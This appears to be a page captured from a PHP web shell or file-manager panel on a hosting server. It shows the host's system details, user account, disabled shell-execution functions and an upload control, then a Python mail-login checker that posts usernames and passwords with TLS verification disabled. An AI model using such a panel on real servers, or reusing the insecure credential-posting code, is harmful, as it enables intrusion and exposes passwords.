HEX
Server: Apache
System: Linux vpshost0650.publiccloud.com.br 4.4.79-grsec-1.lc.x86_64 #1 SMP Wed Aug 2 14:18:21 -03 2017 x86_64
User: bandeirantesbomb3 (10068)
PHP: 8.0.7
Disabled: apache_child_terminate,dl,escapeshellarg,escapeshellcmd,exec,link,mail,openlog,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,php_check_syntax,php_strip_whitespace,popen,proc_close,proc_open,shell_exec,symlink,system
Upload Files
File: //lib/python2.7/site-packages/lap/ig_auth.py
import socket
import requests

socket.setdefaulttimeout(5)

def try_remote_auth(username, password, protocol="imap"):

    headers = {'Auth-Pass': password, 'Auth-User': username, 'Auth-Protocol': protocol, 'X-Forwarded-For': socket.gethostbyname(socket.gethostname())}
    _, domain = username.split("@", 1)
    response = requests.post("https://login.%s/mail/signin" % domain, headers=headers, verify=False)
    status = response.headers.get('auth-status') or response.headers.get('Auth-Status')
    if status and 'OK' in status:
        return True
    return False

def __run__(params):
    username = params.get("username")
    password = params.get("password")
    protocol = params.get("protocol", "imap")

    try:
        response = try_remote_auth(username, password, protocol)           
    except socket.timeout:
        return [2, "CRITICAL: Socket timeout"]
    except socket.gaierror:
        return [2, "CRITICAL: Unable to resolve domain"]
    except Exception, e:
        return [2,"CRITICAL: %s" % repr(e)]
    else:
        if response:
            return [0, "OK"]
        else:
            return [2, "Invalid login or password"]